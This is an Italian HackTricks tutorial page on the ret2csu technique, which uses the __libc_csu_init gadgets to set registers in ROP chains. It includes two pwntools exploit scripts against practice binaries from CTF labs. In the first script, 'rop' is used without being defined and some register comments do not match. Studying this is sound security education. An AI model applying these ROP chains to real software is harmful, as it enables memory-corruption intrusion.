Ret2csu
Reading time: 7 minutes
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
https://www.scs.stanford.edu/brop/bittau-brop.pdfInformazioni di base
ret2csu è una tecnica di hacking utilizzata quando stai cercando di prendere il controllo di un programma ma non riesci a trovare i gadgets che di solito usi per manipolare il comportamento del programma.
Quando un programma utilizza determinate librerie (come libc), ha alcune funzioni integrate per gestire come i diversi pezzi del programma comunicano tra loro. Tra queste funzioni ci sono alcune gemme nascoste che possono agire come i nostri gadgets mancanti, in particolare una chiamata __libc_csu_init
.
I Gadget Magici in __libc_csu_init
In __libc_csu_init
, ci sono due sequenze di istruzioni (gadgets) da evidenziare:
- La prima sequenza ci consente di impostare valori in diversi registri (rbx, rbp, r12, r13, r14, r15). Questi sono come slot dove possiamo memorizzare numeri o indirizzi che vogliamo utilizzare in seguito.
pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;
Questo gadget ci consente di controllare questi registri estraendo valori dallo stack in essi.
- La seconda sequenza utilizza i valori che abbiamo impostato per fare un paio di cose:
- Spostare valori specifici in altri registri, rendendoli pronti per essere utilizzati come parametri nelle funzioni.
- Eseguire una chiamata a una posizione determinata sommando i valori in r15 e rbx, quindi moltiplicando rbx per 8.
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
- Forse non conosci alcun indirizzo su cui scrivere e hai bisogno di un'istruzione
ret
. Nota che il secondo gadget terminerà anch'esso in unret
, ma dovrai soddisfare alcune condizioni per raggiungerlo:
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret
Le condizioni saranno:
[r12 + rbx*8]
deve puntare a un indirizzo che memorizza una funzione chiamabile (se non hai idee e non c'è pie, puoi semplicemente usare la funzione_init
):- Se _init è a
0x400560
, usa GEF per cercare un puntatore in memoria ad esso e fai in modo che[r12 + rbx*8]
sia l'indirizzo con il puntatore a _init:
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
rbp
erbx
devono avere lo stesso valore per evitare il salto- Ci sono alcuni pop omessi che devi tenere in considerazione
RDI e RSI
Un altro modo per controllare rdi
e rsi
dal gadget ret2csu è accedervi tramite offset specifici:
Controlla questa pagina per ulteriori informazioni:
{{#ref}} brop-blind-return-oriented-programming.md {{#endref}}
Esempio
Utilizzando la chiamata
Immagina di voler effettuare una syscall o chiamare una funzione come write()
ma hai bisogno di valori specifici nei registri rdx
e rsi
come parametri. Normalmente, cercheresti gadget che impostano direttamente questi registri, ma non riesci a trovarne.
Ecco dove entra in gioco ret2csu:
- Imposta i Registri: Usa il primo gadget magico per estrarre valori dallo stack e inserirli in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15.
- Usa il Secondo Gadget: Con quei registri impostati, utilizzi il secondo gadget. Questo ti consente di spostare i valori scelti in
rdx
ersi
(da r14 e r13, rispettivamente), preparando i parametri per una chiamata di funzione. Inoltre, controllandor15
erbx
, puoi far chiamare al programma una funzione situata all'indirizzo che calcoli e posizioni in[r15 + rbx*8]
.
Hai un esempio che utilizza questa tecnica e la spiega qui, e questo è l'exploit finale che ha utilizzato:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028
rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0) # r12
rop.raw(0) # r13
rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX!
rop.raw(RW_LOC) # r15 - holds location of called function!
rop.raw(REG_CALL) # all the movs, plus the call
p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
warning
Nota che l'exploit precedente non è destinato a fare un RCE
, ma è destinato a chiamare una funzione chiamata win
(prendendo l'indirizzo di win
dall'input standard chiamando gets nella catena ROP e memorizzandolo in r15) con un terzo argomento con il valore 0xdeadbeefcafed00d
.
Bypassare la chiamata e raggiungere ret
L'exploit seguente è stato estratto da questa pagina dove il ret2csu è utilizzato ma invece di usare la chiamata, bypassa i confronti e raggiunge il ret
dopo la chiamata:
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
from pwn import *
# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b * 0x4007b0')
# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)
# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)
# Padding from start of input to saved return address
payload = "0"*0x28
# Our first gadget, and the values to be popped from the stack
# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX
# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15
# Finally the address of ret2win
payload += ret2win
# Send the payload
target.sendline(payload)
target.interactive()
Perché non usare direttamente libc?
Di solito, questi casi sono anche vulnerabili a ret2plt + ret2lib, ma a volte è necessario controllare più parametri di quanti possano essere facilmente controllati con i gadget che trovi direttamente in libc. Ad esempio, la funzione write()
richiede tre parametri, e trovare gadget per impostare tutti questi direttamente potrebbe non essere possibile.
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.